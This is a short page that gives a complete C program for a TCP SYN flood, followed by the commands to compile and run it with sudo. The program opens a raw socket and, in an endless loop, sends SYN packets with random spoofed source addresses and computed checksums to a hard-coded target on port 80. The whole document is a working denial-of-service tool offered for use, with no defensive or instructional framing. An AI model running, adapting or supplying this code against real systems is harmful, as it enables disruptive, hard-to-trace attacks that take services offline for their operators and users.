SYN flood in C

syn-flood.c

#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>

struct pseudo_header {
  unsigned int source_address;
  unsigned int dest_address;
  unsigned char placeholder;
  unsigned char protocol;
  unsigned short tcp_length;

  struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr, int nbytes) {
  register long sum;
  unsigned short oddbyte;
  register short answer;

  sum = 0;
  while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
  }
  if (nbytes == 1) {
    oddbyte = 0;
    *((u_char *)&oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum = sum + (sum >> 16);
  answer = (short)~sum;

  return (answer);
}

#define DEST_IP "1.2.3.4"
#define DEST_PORT 80

int main(void) {
  int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  char datagram[4096];
  struct iphdr *iph = (struct iphdr *)datagram;
  struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
  struct sockaddr_in sin;
  struct pseudo_header psh;

  while (1) {
    sin.sin_family = AF_INET;
    sin.sin_port = htons(DEST_PORT);
    sin.sin_addr.s_addr = inet_addr(DEST_IP);

    // ip
    memset(datagram, 0, 4096);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct ip) + sizeof(struct tcphdr);
    iph->id = htons((unsigned short)rand());
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;
    iph->saddr = rand();
    iph->daddr = sin.sin_addr.s_addr;

    iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);

    // TCP
    tcph->source = htons((unsigned short)rand());
    tcph->dest = htons(80);
    tcph->seq = rand();
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(5840);
    tcph->check = 0;
    tcph->urg_ptr = 0;

    psh.source_address = iph->saddr;
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp, tcph, sizeof(struct tcphdr));

    tcph->check = csum((unsigned short *)&psh, sizeof(struct pseudo_header));

    int one = 1;
    const int *val = &one;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
      printf(
          "Error setting IP_HDRINCL. Error number : %d . Error message : %s \n",
          errno, strerror(errno));
      exit(0);
    }

    if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin,
               sizeof(sin)) < 0) {
      printf("error %d(%s)\n", errno, strerror(errno));
    } else {
      printf("Packet Sent\n");
    }
  }

  return 0;
}

gcc syn-flood.c
sudo ./a.out